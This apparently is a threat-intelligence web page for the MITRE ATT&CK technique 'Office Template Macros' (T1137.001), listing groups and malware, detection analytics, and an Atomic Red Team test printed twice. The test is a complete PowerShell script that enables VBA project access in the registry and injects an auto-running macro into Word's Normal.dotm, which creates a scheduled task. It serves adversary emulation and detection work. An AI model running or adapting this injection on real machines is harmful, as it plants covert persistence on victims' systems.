tfMITRE ATT&CK sub-technique

Office Template Macros T1137.001

sub-technique of T1137 Office Application Startup

Tactic: Persistence
Platforms: Office Suite, Windows
Version: 1.2
Created: 07 November 2019
Last modified: 12 May 2026

Adversaries may abuse Microsoft Office templates to obtain persistence on a compromised system. Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. [1]

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malware57th pct

Tools & malware57th percentile · 57% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Office Template Macros MITRE reference T1137.001

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

MuddyWaterG0069 ↗

Has used a Word Template, Normal.dotm, for persistence.1

created 2018-04-181 referenceaka Earth Vetala

All 1 groups for this technique

3 software entries are documented implementing this technique. MITRE files each as a tool or as malware; newest first, then by how many groups carry them.

ROAMINGHOUSES9026 ↗

Has been loaded as a Word Template file when victims opened a decoy document placed in %APPDATA%\Microsoft\Templates alongside a ROAMINGHOUSE macro.1

created 2026-04-17MALWAREcarried by 1 group

BackConfigS0475 ↗

Has the ability to use hidden columns in Excel spreadsheets to store executable files or commands for VBA macros.1

created 2020-06-17MALWAREcarried by 1 group

Cobalt StrikeS0154 ↗

Has the ability to use an Excel Workbook to execute additional code by enabling Office to trust macros and execute code without user permission.1

created 2017-12-14MALWAREcarried by 30 groups

All 3 software entries for this technique

Offense vs defense T1137.001

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Office Template Macros detection strategy DET0519

MITRE names one behaviour worth catching for this technique and breaks it into 2 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detect Persistence via Office Template Macro Injection or Registry Hijack

Enterprise

2 platforms

AN1436 · Windows

Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
File MetadataDC0059	WinEventLog:Sysmon	EventCode=15
Windows Registry Key ModificationDC0063	WinEventLog:Sysmon	EventCode=13, 14
Command ExecutionDC0064	WinEventLog:Microsoft-Office-Alerts	Office application warning or alert on macro execution from template

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TemplatePath	Path to Normal.dotm, Personal.xlsb, or Excel/Word startup templates may vary by Office version and user
RegistryPath	GlobalDotName or equivalent registry keys may differ across Office versions or deployments
TimeWindow	Office process creation and macro execution timing after system or user login
UserContext	May be scoped to high-value users or those with access to sensitive templates

AN1437 · Office Suite

Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Command ExecutionDC0064	m365:unified	Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
TemplateSource	Macros may be embedded in local user templates or retrieved from shared network paths
MacroSecurityLevel	Macro execution policy (disabled, warn, enabled) varies by tenant or user configuration

Tests1ExecutorsPowerShell 1Need elevation1 of 1Have prerequisites1Have cleanup1Platformswindows

#	Test	Platform	Executor	Elevation	Prereqs	Cleanup	Ref
01	Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell	windows	PowerShell	Required	1	Yes
Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening. Attack command # Registry setting to "Trust access to the VBA project object model" in Word $registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security" $registryValue = "AccessVBOM" $registryData = "1" # The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0 $flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt" $flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt" # Get the value of the Key/Value pair $value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue # Logical operation to: if the value of the key/value is 1, do nothing - # if the value is 0, change it to 1 and create flag1 - # if it doesn't exist, create the value and flag2 if ($value -eq "1") { Write-Host "The registry value '$registryValue' already exists with the required setting." } elseif ($value -eq "0") { Write-Host "The registry value was set to 0, temporarily changing to 1." New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force \| Out-Null echo "flag1" > $flagPath1 } else { Write-Host "The registry value '$registryValue' does not exist, temporarily creating it." New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force \| Out-Null echo "flag2" > $flagPath2 } Add-Type -AssemblyName Microsoft.Office.Interop.Word # Define the path of copied normal template for restoral $copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm" # Define the path to the normal template $docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm" # Create copy of orginal template for restoral Copy-Item -Path $docPath -Destination $copyPath -Force # VBA code to be insterted as a Macro # Will create a scheduled task to open the Calculator at 8:04pm daily $vbaCode = @" Sub AutoExec() Dim applicationPath As String Dim taskName As String Dim runTime As String Dim schTasksCmd As String applicationPath = "C:\Windows\System32\calc.exe" taskName = "OpenCalcTask" runTime = "20:04" schTasksCmd = "schtasks /create /tn """ & taskName & """ /tr """ & applicationPath & """ /sc daily /st " & runTime & " /f" Shell "cmd.exe /c " & schTasksCmd, vbNormalFocus End Sub "@ # Create a new instance of Word.Application $word = New-Object -ComObject Word.Application # Keep the Word application hidden $word.Visible = $false # Open the document $document = $word.Documents.Open($docPath) # Access the VBA project of the document $vbaProject = $document.VBProject # Add a new module to the VBA project $newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule # Add the VBA code to the new module $newModule.CodeModule.AddFromString($vbaCode) # Run the Macro $word.run("AutoExec") # Save and close the document $document.SaveAs($docPath) $document.Close() # Quit Word $word.Quit() # Release COM objects [System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) \| Out-Null [System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) \| Out-Null [System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) \| Out-Null [System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) \| Out-Null Cleanup command # Registry setting to "Trust access to the VBA project object model" in Word $registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security" $registryValue = "AccessVBOM" $registryData1 = "1" $registryData0 = "0" # Defines the path each flag file created depending on the original registry state $flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt" $flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt" # Define the path of copied normal template for restoral $copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm" # Define the path to the normal template $docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm" # Delete the scheduled task created by the Macro schtasks /Delete /TN "OpenCalcTask" /F \| Out-Null #Restore the orginal template if the backup copy exists if (Test-Path $copyPath) { #Delete the injected template Remove-Item -Force $docPath -ErrorAction SilentlyContinue # Restore the original template Rename-Item -Force -Path $copyPath -NewName $docPath -ErrorAction SilentlyContinue Write-Host "The original template has been restored" } else { Write-Host "The original template is present" } #Restore the original state of the registry key if (Test-Path $flagPath1) { # The value was originally 0, set back to 0 New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData0 -PropertyType DWORD -Force \| Out-Null Remove-Item -Force $flagPath1 -ErrorAction SilentlyContinue Write-Host "The original registry state has been restored" } elseif (Test-Path $flagPath2) { #The value did not previously exist, delete the value Remove-ItemProperty -Path $registryKey -Name $registryValue \| Out-Null Remove-Item -Force $flagPath2 -ErrorAction SilentlyContinue \| Out-Null Write-Host "The original registry state has been restored" } else { # The value was already 1, do nothing Write-Host "The value $registryValue already existed in $registryKey." } Prerequisite Microsoft Word must be installed Check try { New-Object -COMObject "Word.Application" \| Out-Null Stop-Process -Name "winword" exit 0 } catch { exit 1 } Satisfy Write-Host "You will need to install Microsoft Word manually to meet this requirement" GUIDb7614bb7-4abc-4cff-8984-cf3a381afc30

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Injecting a Macro into the Word Normal.dotm Template for Persistence via PowerShell

windows

PowerShell

Required

Yes

Injects a Macro in the Word default template "Normal.dotm" and makes it execute each time that Word is opened. In this test, the Macro creates a sheduled task to open Calc.exe every evening.

Attack command

# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData = "1"
# The path where a flag text file will be created if Registry setting did not already exist or if it was set to 0
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Get the value of the Key/Value pair
$value = (Get-ItemProperty -Path $registryKey -Name $registryValue -ErrorAction SilentlyContinue).$registryValue
# Logical operation to: if the value of the key/value is 1, do nothing - 
# if the value is 0, change it to 1 and create flag1 - 
# if it doesn't exist, create the value and flag2
if ($value -eq "1") 
{
  Write-Host "The registry value '$registryValue' already exists with the required setting."
}   
  elseif ($value -eq "0") 
{
  Write-Host "The registry value was set to 0, temporarily changing to 1."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag1" > $flagPath1
} 
  else 
{
  Write-Host "The registry value '$registryValue' does not exist, temporarily creating it."
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData -PropertyType DWORD -Force | Out-Null
  echo "flag2" > $flagPath2
}
Add-Type -AssemblyName Microsoft.Office.Interop.Word
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Create copy of orginal template for restoral
Copy-Item -Path $docPath -Destination $copyPath -Force
# VBA code to be insterted as a Macro
# Will create a scheduled task to open the Calculator at 8:04pm daily
$vbaCode = @"
  Sub AutoExec()
  Dim applicationPath As String
  Dim taskName As String
  Dim runTime As String
  Dim schTasksCmd As String
  applicationPath = "C:\Windows\System32\calc.exe"
  taskName = "OpenCalcTask"
  runTime = "20:04"
  schTasksCmd = "schtasks /create /tn """ & taskName & """ /tr """ & applicationPath & """ /sc daily /st " & runTime & " /f"
  Shell "cmd.exe /c " & schTasksCmd, vbNormalFocus
  End Sub
"@
# Create a new instance of Word.Application
$word = New-Object -ComObject Word.Application
# Keep the Word application hidden
$word.Visible = $false
# Open the document
$document = $word.Documents.Open($docPath)
# Access the VBA project of the document
$vbaProject = $document.VBProject
# Add a new module to the VBA project
$newModule = $vbaProject.VBComponents.Add(1) # 1 = vbext_ct_StdModule
# Add the VBA code to the new module
$newModule.CodeModule.AddFromString($vbaCode)
# Run the Macro
$word.run("AutoExec")
# Save and close the document
$document.SaveAs($docPath)
$document.Close()
# Quit Word
$word.Quit()
# Release COM objects
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($document) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($word) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($vbaProject) | Out-Null
[System.Runtime.InteropServices.Marshal]::ReleaseComObject($newModule) | Out-Null

Cleanup command

# Registry setting to "Trust access to the VBA project object model" in Word
$registryKey = "HKCU:Software\Microsoft\Office\16.0\Word\Security"
$registryValue = "AccessVBOM"
$registryData1 = "1"
$registryData0 = "0"
# Defines the path each flag file created depending on the original registry state
$flagPath1 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag1.txt"
$flagPath2 = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\T1137-001_Flag2.txt"
# Define the path of copied normal template for restoral
$copyPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal1.dotm"
# Define the path to the normal template
$docPath = "$env:USERPROFILE\AppData\Roaming\Microsoft\Templates\Normal.dotm"
# Delete the scheduled task created by the Macro
schtasks /Delete /TN "OpenCalcTask" /F | Out-Null
#Restore the orginal template if the backup copy exists
if (Test-Path $copyPath)
{
  #Delete the injected template
  Remove-Item -Force $docPath -ErrorAction SilentlyContinue
  # Restore the original template
  Rename-Item -Force -Path $copyPath -NewName $docPath -ErrorAction SilentlyContinue
  Write-Host "The original template has been restored"
}
  else
{
  Write-Host "The original template is present"
}
#Restore the original state of the registry key
if (Test-Path $flagPath1) 
{
  # The value was originally 0, set back to 0
  New-ItemProperty -Path $registryKey -Name $registryValue -Value $registryData0 -PropertyType DWORD -Force | Out-Null
  Remove-Item -Force $flagPath1 -ErrorAction SilentlyContinue
  Write-Host "The original registry state has been restored"
} 
  elseif (Test-Path $flagPath2)
{
  #The value did not previously exist, delete the value
  Remove-ItemProperty -Path $registryKey -Name $registryValue | Out-Null
  Remove-Item -Force $flagPath2 -ErrorAction SilentlyContinue | Out-Null
  Write-Host "The original registry state has been restored"
}
  else 
{
  # The value was already 1, do nothing
  Write-Host "The value $registryValue already existed in $registryKey."
}

Prerequisite

Microsoft Word must be installed

Check

try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 }

Satisfy

Write-Host "You will need to install Microsoft Word manually to meet this requirement"

GUIDb7614bb7-4abc-4cff-8984-cf3a381afc30

Tests from Atomic Red Team (MIT licence) · technique definition

Office Template Macros detections T1137.001

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs